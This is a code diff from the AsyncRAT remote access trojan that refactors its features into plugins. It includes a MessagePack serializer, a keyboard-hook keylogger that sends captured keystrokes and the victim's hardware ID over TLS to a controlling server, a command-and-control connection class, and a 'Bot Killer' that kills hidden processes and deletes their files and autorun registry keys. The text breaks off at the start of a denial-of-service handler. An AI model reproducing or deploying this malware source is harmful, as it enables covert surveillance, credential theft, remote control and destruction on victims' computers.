(lvByte == 0xDB) + { + // str 32 stores a byte array whose length is upto (2^32)-1 bytes: + // +--------+--------+--------+--------+--------+========+ + // | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | + // +--------+--------+--------+--------+--------+========+ + SetAsString(ReadTools.ReadString(lvByte, ms)); + } + else if (lvByte == 0xD0) + { + // int 8 stores a 8-bit signed integer + // +--------+--------+ + // | 0xd0 |ZZZZZZZZ| + // +--------+--------+ + SetAsInteger((sbyte)ms.ReadByte()); + } + else if (lvByte == 0xD1) + { + // int 16 stores a 16-bit big-endian signed integer + // +--------+--------+--------+ + // | 0xd1 |ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+ + rawByte = new byte[2]; + ms.Read(rawByte, 0, 2); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToInt16(rawByte, 0)); + } + else if (lvByte == 0xD2) + { + // int 32 stores a 32-bit big-endian signed integer + // +--------+--------+--------+--------+--------+ + // | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+--------+--------+ + rawByte = new byte[4]; + ms.Read(rawByte, 0, 4); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToInt32(rawByte, 0)); + } + else if (lvByte == 0xD3) + { + // int 64 stores a 64-bit big-endian signed integer + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + // | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| + // +--------+--------+--------+--------+--------+--------+--------+--------+--------+ + rawByte = new byte[8]; + ms.Read(rawByte, 0, 8); + rawByte = BytesTools.SwapBytes(rawByte); + SetAsInteger(BitConverter.ToInt64(rawByte, 0)); + } + } + + public byte[] Encode2Bytes() + { + using (MemoryStream ms = new MemoryStream()) + { + Encode2Stream(ms); + byte[] r = new byte[ms.Length]; + ms.Position = 0; + ms.Read(r, 0, (int)ms.Length); + return r; + } + } + + public void Encode2Stream(Stream ms) + { + switch (this.valueType) + { + case MsgPackType.Unknown: + case MsgPackType.Null: + WriteTools.WriteNull(ms); + break; + case MsgPackType.String: + WriteTools.WriteString(ms, (String)this.innerValue); + break; + case MsgPackType.Integer: + WriteTools.WriteInteger(ms, (Int64)this.innerValue); + break; + case MsgPackType.UInt64: + WriteTools.WriteUInt64(ms, (UInt64)this.innerValue); + break; + case MsgPackType.Boolean: + WriteTools.WriteBoolean(ms, (Boolean)this.innerValue); + break; + case MsgPackType.Float: + WriteTools.WriteFloat(ms, (Double)this.innerValue); + break; + case MsgPackType.Single: + WriteTools.WriteFloat(ms, (Single)this.innerValue); + break; + case MsgPackType.DateTime: + WriteTools.WriteInteger(ms, GetAsInteger()); + break; + case MsgPackType.Binary: + WriteTools.WriteBinary(ms, (byte[])this.innerValue); + break; + case MsgPackType.Map: + WriteMap(ms); + break; + case MsgPackType.Array: + WirteArray(ms); + break; + default: + WriteTools.WriteNull(ms); + break; + } + } + + public String AsString + { + get + { + return GetAsString(); + } + set + { + SetAsString(value); + } + } + + public Int64 AsInteger + { + get { return GetAsInteger(); } + set { SetAsInteger((Int64)value); } + } + + public Double AsFloat + { + get { return GetAsFloat(); } + set { SetAsFloat(value); } + } + public MsgPackArray AsArray + { + get + { + lock (this) + { + if (refAsArray == null) + { + refAsArray = new MsgPackArray(this, children); + } + } + return refAsArray; + } + } + + + public MsgPackType ValueType + { + get { return valueType; } + } + + + IEnumerator IEnumerable.GetEnumerator() + { + return new MsgPackEnum(children); + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/MsgPackType.cs b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/MsgPackType.cs new file mode 100644 index 0000000..2567ae6 --- /dev/null +++ b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/MsgPackType.cs @@ -0,0 +1,24 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Plugin.MessagePack +{ + public enum MsgPackType + { + Unknown = 0, + Null = 1, + Map = 2, + Array = 3, + String = 4, + Integer = 5, + UInt64 = 6, + Boolean = 7, + Float = 8, + Single = 9, + DateTime = 10, + Binary = 11 + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/ReadTools.cs b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/ReadTools.cs new file mode 100644 index 0000000..9e85968 --- /dev/null +++ b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/ReadTools.cs @@ -0,0 +1,84 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace Plugin.MessagePack +{ + class ReadTools + { + public static String ReadString(Stream ms, int len) + { + byte[] rawBytes = new byte[len]; + ms.Read(rawBytes, 0, len); + return BytesTools.GetString(rawBytes); + } + + public static String ReadString(Stream ms) + { + byte strFlag = (byte)ms.ReadByte(); + return ReadString(strFlag, ms); + } + + public static String ReadString(byte strFlag, Stream ms) + { + // + //fixstr stores a byte array whose length is upto 31 bytes: + //+--------+========+ + //|101XXXXX| data | + //+--------+========+ + // + //str 8 stores a byte array whose length is upto (2^8)-1 bytes: + //+--------+--------+========+ + //| 0xd9 |YYYYYYYY| data | + //+--------+--------+========+ + // + //str 16 stores a byte array whose length is upto (2^16)-1 bytes: + //+--------+--------+--------+========+ + //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | + //+--------+--------+--------+========+ + // + //str 32 stores a byte array whose length is upto (2^32)-1 bytes: + //+--------+--------+--------+--------+--------+========+ + //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | + //+--------+--------+--------+--------+--------+========+ + // + //where + //* XXXXX is a 5-bit unsigned integer which represents N + //* YYYYYYYY is a 8-bit unsigned integer which represents N + //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N + //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N + //* N is the length of data + + byte[] rawBytes = null; + int len = 0; + if ((strFlag >= 0xA0) && (strFlag <= 0xBF)) + { + len = strFlag - 0xA0; + } + else if (strFlag == 0xD9) + { + len = ms.ReadByte(); + } + else if (strFlag == 0xDA) + { + rawBytes = new byte[2]; + ms.Read(rawBytes, 0, 2); + rawBytes = BytesTools.SwapBytes(rawBytes); + len = BitConverter.ToUInt16(rawBytes, 0); + } + else if (strFlag == 0xDB) + { + rawBytes = new byte[4]; + ms.Read(rawBytes, 0, 4); + rawBytes = BytesTools.SwapBytes(rawBytes); + len = BitConverter.ToInt32(rawBytes, 0); + } + rawBytes = new byte[len]; + ms.Read(rawBytes, 0, len); + return BytesTools.GetString(rawBytes); + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/WriteTools.cs b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/WriteTools.cs new file mode 100644 index 0000000..3de69fa --- /dev/null +++ b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/MessagePack/WriteTools.cs @@ -0,0 +1,199 @@ +using System; +using System.IO; + +namespace Plugin.MessagePack +{ + class WriteTools + { + public static void WriteNull(Stream ms) + { + ms.WriteByte(0xC0); + } + + public static void WriteString(Stream ms, String strVal) + { + // + //fixstr stores a byte array whose length is upto 31 bytes: + //+--------+========+ + //|101XXXXX| data | + //+--------+========+ + // + //str 8 stores a byte array whose length is upto (2^8)-1 bytes: + //+--------+--------+========+ + //| 0xd9 |YYYYYYYY| data | + //+--------+--------+========+ + // + //str 16 stores a byte array whose length is upto (2^16)-1 bytes: + //+--------+--------+--------+========+ + //| 0xda |ZZZZZZZZ|ZZZZZZZZ| data | + //+--------+--------+--------+========+ + // + //str 32 stores a byte array whose length is upto (2^32)-1 bytes: + //+--------+--------+--------+--------+--------+========+ + //| 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data | + //+--------+--------+--------+--------+--------+========+ + // + //where + //* XXXXX is a 5-bit unsigned integer which represents N + //* YYYYYYYY is a 8-bit unsigned integer which represents N + //* ZZZZZZZZ_ZZZZZZZZ is a 16-bit big-endian unsigned integer which represents N + //* AAAAAAAA_AAAAAAAA_AAAAAAAA_AAAAAAAA is a 32-bit big-endian unsigned integer which represents N + //* N is the length of data + + byte[] rawBytes = BytesTools.GetUtf8Bytes(strVal); + byte[] lenBytes = null; + int len = rawBytes.Length; + byte b = 0; + if (len <= 31) + { + b = (byte)(0xA0 + (byte)len); + ms.WriteByte(b); + } + else if (len <= 255) + { + b = 0xD9; + ms.WriteByte(b); + b = (byte)len; + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xDA; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xDB; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + ms.Write(rawBytes, 0, rawBytes.Length); + } + public static void WriteBinary(Stream ms, byte[] rawBytes) + { + + byte[] lenBytes = null; + int len = rawBytes.Length; + byte b = 0; + if (len <= 255) + { + b = 0xC4; + ms.WriteByte(b); + b = (byte)len; + ms.WriteByte(b); + } + else if (len <= 65535) + { + b = 0xC5; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int16)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + else + { + b = 0xC6; + ms.WriteByte(b); + + lenBytes = BytesTools.SwapBytes(BitConverter.GetBytes((Int32)len)); + ms.Write(lenBytes, 0, lenBytes.Length); + } + ms.Write(rawBytes, 0, rawBytes.Length); + } + + public static void WriteFloat(Stream ms, Double fVal) + { + ms.WriteByte(0xCB); + ms.Write(BytesTools.SwapDouble(fVal), 0, 8); + } + + public static void WriteSingle(Stream ms, Single fVal) + { + ms.WriteByte(0xCA); + ms.Write(BytesTools.SwapBytes(BitConverter.GetBytes(fVal)), 0, 4); + } + + public static void WriteBoolean(Stream ms, Boolean bVal) + { + if (bVal) + { + ms.WriteByte(0xC3); + } + else + { + ms.WriteByte(0xC2); + } + } + + + public static void WriteUInt64(Stream ms, UInt64 iVal) + { + ms.WriteByte(0xCF); + byte[] dataBytes = BitConverter.GetBytes(iVal); + ms.Write(BytesTools.SwapBytes(dataBytes), 0, 8); + } + + public static void WriteInteger(Stream ms, Int64 iVal) + { + if (iVal >= 0) + { // 正数 + if (iVal <= 127) + { + ms.WriteByte((byte)iVal); + } + else if (iVal <= 255) + { //UInt8 + ms.WriteByte(0xCC); + ms.WriteByte((byte)iVal); + } + else if (iVal <= (UInt32)0xFFFF) + { //UInt16 + ms.WriteByte(0xCD); + ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); + } + else if (iVal <= (UInt32)0xFFFFFFFF) + { //UInt32 + ms.WriteByte(0xCE); + ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); + } + else + { //Int64 + ms.WriteByte(0xD3); + ms.Write(BytesTools.SwapInt64(iVal), 0, 8); + } + } + else + { // <0 + if (iVal <= Int32.MinValue) //-2147483648 // 64 bit + { + ms.WriteByte(0xD3); + ms.Write(BytesTools.SwapInt64(iVal), 0, 8); + } + else if (iVal <= Int16.MinValue) // -32768 // 32 bit + { + ms.WriteByte(0xD2); + ms.Write(BytesTools.SwapInt32((Int32)iVal), 0, 4); + } + else if (iVal <= -128) // -32768 // 32 bit + { + ms.WriteByte(0xD1); + ms.Write(BytesTools.SwapInt16((Int16)iVal), 0, 2); + } + else if (iVal <= -32) + { + ms.WriteByte(0xD0); + ms.WriteByte((byte)iVal); + } + else + { + ms.WriteByte((byte)iVal); + } + } // end <0 + } + } +} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Packet.cs similarity index 80% rename from AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs rename to AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Packet.cs index 361502e..f7baaea 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleLimeLogger.cs +++ b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Packet.cs @@ -1,22 +1,42 @@ -using System; +using Plugin.MessagePack; +using System; +using System.Collections.Generic; using System.Diagnostics; using System.IO; +using System.Linq; using System.Runtime.InteropServices; using System.Text; -using System.Windows.Forms; -using Client.MessagePack; using System.Threading; -using Client.Connection; +using System.Windows.Forms; -namespace Client.Handle_Packet +namespace Plugin { - // │ Author : NYAN CAT - // │ Name : LimeLogger v0.1 - // │ Contact : https://github.com/NYAN-x-CAT + public static class Packet + { + public static void Read(object data) + { + MsgPack unpack_msgpack = new MsgPack(); + unpack_msgpack.DecodeFromBytes((byte[])data); + switch (unpack_msgpack.ForcePathObject("Packet").AsString) + { + case "keyLogger": + { + HandleLimeLogger.isON = false; + break; + } + } + } - // This program is distributed for educational purposes only. + public static void Error(string ex) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Error"; + msgpack.ForcePathObject("Error").AsString = ex; + Connection.Send(msgpack.Encode2Bytes()); + } + } - public static class HandleLimeLogger + public static class HandleLimeLogger { public static bool isON = false; public static void Run() @@ -24,16 +44,17 @@ namespace Client.Handle_Packet _hookID = SetHook(_proc); new Thread(() => { - while (ClientSocket.IsConnected) + while (Connection.IsConnected) { - Thread.Sleep(10); + Thread.Sleep(1000); if (isON == false) { break; } } UnhookWindowsHookEx(_hookID); - CurrentActiveWindowTitle = ""; + Connection.Disconnected(); + GC.Collect(); Application.Exit(); }).Start(); Application.Run(); @@ -41,11 +62,20 @@ namespace Client.Handle_Packet private static IntPtr SetHook(LowLevelKeyboardProc proc) { - using (Process curProcess = Process.GetCurrentProcess()) - using (ProcessModule curModule = curProcess.MainModule) + try { - return SetWindowsHookEx(WHKEYBOARDLL, proc, - GetModuleHandle(curModule.ModuleName), 0); + using (Process curProcess = Process.GetCurrentProcess()) + using (ProcessModule curModule = curProcess.MainModule) + { + return SetWindowsHookEx(WHKEYBOARDLL, proc, + GetModuleHandle(curModule.ModuleName), 0); + } + } + catch (Exception ex) + { + Packet.Error(ex.Message); + isON = false; + return IntPtr.Zero; } } @@ -109,8 +139,9 @@ namespace Client.Handle_Packet } MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "keyLogger"; + msgpack.ForcePathObject("Hwid").AsString = Connection.Hwid; msgpack.ForcePathObject("log").AsString = sb.ToString(); - ClientSocket.Send(msgpack.Encode2Bytes()); + Connection.Send(msgpack.Encode2Bytes()); } return CallNextHookEx(_hookID, nCode, wParam, lParam); } @@ -197,4 +228,5 @@ namespace Client.Handle_Packet #endregion } + } diff --git a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Plugin.cs b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Plugin.cs new file mode 100644 index 0000000..9fec2d9 --- /dev/null +++ b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Plugin.cs @@ -0,0 +1,33 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Linq; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Threading; + +namespace Plugin +{ + public class Plugin + { + public static Socket Socket; + public void Run(Socket socket, X509Certificate2 certificate, string hwid, byte[] msgPack, Mutex mutex, string mtx, string bdos, string install, string installFile) + { + Debug.WriteLine("Plugin Invoked"); + Socket = socket; + Connection.ServerCertificate = certificate; + Connection.Hwid = hwid; + new Thread(() => + { + Connection.InitializeClient(); + }).Start(); + + while (Connection.IsConnected) + { + Thread.Sleep(1000); + } + } + } +} diff --git a/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Properties/AssemblyInfo.cs b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..dda705c --- /dev/null +++ b/AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("")] +[assembly: AssemblyCopyright("")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +//[assembly: Guid("dafe686a-461b-402b-bbd7-2a2f4c87c773")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous.sln b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous.sln new file mode 100644 index 0000000..464fd23 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous.sln @@ -0,0 +1,25 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio Version 16 +VisualStudioVersion = 16.0.29123.88 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Miscellaneous", "Miscellaneous\Miscellaneous.csproj", "{37E20BAF-3577-4CD9-BB39-18675854E255}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {37E20BAF-3577-4CD9-BB39-18675854E255}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {37E20BAF-3577-4CD9-BB39-18675854E255}.Debug|Any CPU.Build.0 = Debug|Any CPU + {37E20BAF-3577-4CD9-BB39-18675854E255}.Release|Any CPU.ActiveCfg = Release|Any CPU + {37E20BAF-3577-4CD9-BB39-18675854E255}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection + GlobalSection(ExtensibilityGlobals) = postSolution + SolutionGuid = {25F73428-705F-4933-8D8E-8E3199E87CAB} + EndGlobalSection +EndGlobal diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Connection.cs b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Connection.cs new file mode 100644 index 0000000..70a0271 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Connection.cs @@ -0,0 +1,211 @@ +using Plugin.MessagePack; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Authentication; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Threading; + +namespace Plugin +{ + public static class Connection + { + public static Socket TcpClient { get; set; } + public static SslStream SslClient { get; set; } + public static X509Certificate2 ServerCertificate { get; set; } + private static byte[] Buffer { get; set; } + private static long Buffersize { get; set; } + private static Timer Tick { get; set; } + private static MemoryStream MS { get; set; } + public static bool IsConnected { get; set; } + private static object SendSync { get; } = new object(); + public static string Hwid { get; set; } + + public static void InitializeClient(byte[] packet) + { + try + { + + TcpClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) + { + ReceiveBufferSize = 50 * 1024, + SendBufferSize = 50 * 1024, + }; + + TcpClient.Connect(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[1])); + if (TcpClient.Connected) + { + Debug.WriteLine("Plugin Connected!"); + IsConnected = true; + SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate); + SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); + Buffer = new byte[4]; + MS = new MemoryStream(); + Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); + SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + + new Thread(() => + { + Packet.Read(packet); + }).Start(); + + } + else + { + IsConnected = false; + return; + } + } + catch + { + Debug.WriteLine("Disconnected!"); + IsConnected = false; + return; + } + } + + private static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) + { +#if DEBUG + return true; +#endif + return ServerCertificate.Equals(certificate); + } + + public static void Disconnected() + { + + try + { + IsConnected = false; + Tick?.Dispose(); + SslClient?.Dispose(); + TcpClient?.Dispose(); + MS?.Dispose(); + GC.Collect(); + } + catch { } + } + + public static void ReadServertData(IAsyncResult ar) + { + try + { + if (!TcpClient.Connected || !IsConnected) + { + IsConnected = false; + return; + } + int recevied = SslClient.EndRead(ar); + if (recevied > 0) + { + MS.Write(Buffer, 0, recevied); + if (MS.Length == 4) + { + Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); + Debug.WriteLine("/// Plugin Buffersize " + Buffersize.ToString() + " Bytes ///"); + MS.Dispose(); + MS = new MemoryStream(); + if (Buffersize > 0) + { + Buffer = new byte[Buffersize]; + while (MS.Length != Buffersize) + { + int rc = SslClient.Read(Buffer, 0, Buffer.Length); + if (rc == 0) + { + IsConnected = false; + return; + } + MS.Write(Buffer, 0, rc); + Buffer = new byte[Buffersize - MS.Length]; + } + if (MS.Length == Buffersize) + { + Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read)); + thread.Start(MS.ToArray()); + Buffer = new byte[4]; + MS.Dispose(); + MS = new MemoryStream(); + } + } + } + SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + } + else + { + IsConnected = false; + return; + } + } + catch + { + IsConnected = false; + return; + } + } + + public static void Send(byte[] msg) + { + lock (SendSync) + { + try + { + if (!IsConnected || msg == null) + { + return; + } + + byte[] buffersize = BitConverter.GetBytes(msg.Length); + TcpClient.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(buffersize, 0, buffersize.Length); + + if (msg.Length > 1000000) //1mb + { + int chunkSize = 50 * 1024; + byte[] chunk = new byte[chunkSize]; + using (MemoryStream buffereReader = new MemoryStream(msg)) + { + BinaryReader binaryReader = new BinaryReader(buffereReader); + int bytesToRead = (int)buffereReader.Length; + do + { + chunk = binaryReader.ReadBytes(chunkSize); + bytesToRead -= chunkSize; + SslClient.Write(chunk, 0, chunk.Length); + SslClient.Flush(); + } while (bytesToRead > 0); + + binaryReader.Dispose(); + } + } + else + { + SslClient.Write(msg, 0, msg.Length); + SslClient.Flush(); + } + Debug.WriteLine("Plugin Packet Sent"); + } + catch + { + IsConnected = false; + return; + } + } + } + + public static void CheckServer(object obj) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Ping!)"; + Send(msgpack.Encode2Bytes()); + GC.Collect(); + } + + } +} diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/FodyWeavers.xml b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/FodyWeavers.xml new file mode 100644 index 0000000..5029e70 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/FodyWeavers.xml @@ -0,0 +1,3 @@ + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/FodyWeavers.xsd b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/FodyWeavers.xsd new file mode 100644 index 0000000..44a5374 --- /dev/null +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/FodyWeavers.xsd @@ -0,0 +1,111 @@ + + + + + + + + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of unmanaged 32 bit assembly names to include, delimited with line breaks. + + + + + A list of unmanaged 64 bit assembly names to include, delimited with line breaks. + + + + + The order of preloaded assemblies, delimited with line breaks. + + + + + + This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. + + + + + Controls if .pdbs for reference assemblies are also embedded. + + + + + Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. + + + + + As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. + + + + + Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. + + + + + Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + A list of unmanaged 32 bit assembly names to include, delimited with |. + + + + + A list of unmanaged 64 bit assembly names to include, delimited with |. + + + + + The order of preloaded assemblies, delimited with |. + + + + + + + + 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. + + + + + A comma-separated list of error codes that can be safely ignored in assembly verification. + + + + + 'false' to turn off automatic generation of the XML Schema file. + + + + + \ No newline at end of file diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleBotKiller.cs b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleBotKiller.cs similarity index 81% rename from AsyncRAT-C#/Client/Handle Packet/HandleBotKiller.cs rename to AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleBotKiller.cs index 4402c10..94f6fed 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleBotKiller.cs +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleBotKiller.cs @@ -3,17 +3,11 @@ using System.IO; using System.Diagnostics; using System.Runtime.InteropServices; using Microsoft.Win32; -using Client.MessagePack; -using Client.Connection; using System.Security.Principal; +using Plugin.MessagePack; +using Plugin; -// │ Author : NYAN CAT -// │ Name : Bot Killer v0.2.5 -// │ Contact : https://github.com/NYAN-x-CAT - -// This program Is distributed for educational purposes only. - -namespace Client.Handle_Packet +namespace Miscellaneous.Handler { public class HandleBotKiller { @@ -25,15 +19,16 @@ namespace Client.Handle_Packet { try { - if (Inspection(p.MainModule.FileName)) + if (Inspection(p.MainModule.FileName.ToLower())) if (!IsWindowVisible(p.MainWindowHandle)) { string pName = p.MainModule.FileName; p.Kill(); RegistryDelete(@"Software\Microsoft\Windows\CurrentVersion\Run", pName); RegistryDelete(@"Software\Microsoft\Windows\CurrentVersion\RunOnce", pName); - System.Threading.Thread.Sleep(100); + System.Threading.Thread.Sleep(200); File.Delete(pName); + System.Threading.Thread.Sleep(200); count++; } } @@ -44,17 +39,17 @@ namespace Client.Handle_Packet MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "BotKiller"; msgpack.ForcePathObject("Count").AsString = count.ToString(); - ClientSocket.Send(msgpack.Encode2Bytes()); + Connection.Send(msgpack.Encode2Bytes()); } } private bool Inspection(string threat) { - if (threat == Process.GetCurrentProcess().MainModule.FileName) return false; - if (threat.StartsWith(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData))) return true; - if (threat.StartsWith(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile))) return true; + if (threat == Process.GetCurrentProcess().MainModule.FileName.ToLower()) return false; + if (threat.StartsWith(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData).ToLower())) return true; + if (threat.StartsWith(Environment.GetFolderPath(Environment.SpecialFolder.UserProfile).ToLower())) return true; if (threat.Contains("wscript.exe")) return true; - if (threat.StartsWith(Path.Combine(Path.GetPathRoot(Environment.SystemDirectory), "Windows\\Microsoft.NET"))) return true; + if (threat.StartsWith(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Microsoft.NET").ToLower())) return true; return false; } @@ -99,4 +94,5 @@ namespace Client.Handle_Packet [return: MarshalAs(UnmanagedType.Bool)] static extern bool IsWindowVisible(IntPtr hWnd); } + } diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleDos.cs b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleDos.cs similarity index 84% rename from AsyncRAT-C#/Client/Handle Packet/HandleDos.cs rename to AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleDos.cs index 5beecb8..07853a3 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleDos.cs +++ b/AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Handler/HandleDos.cs @@ -1,21 +1,12 @@ -using Client.MessagePack; -using Client.Connection; -using System; -using System.Collections.Generic; +using System; using System.Diagnostics; -using System.Globalization; -using System.Linq; using System.Net.Sockets; using System.Text; using System.Threading; +using Plugin.MessagePack; +using Plugin; -// │ Author : NYAN CAT -// │ Name : DOS-Attack-Post 0.2 -// │ 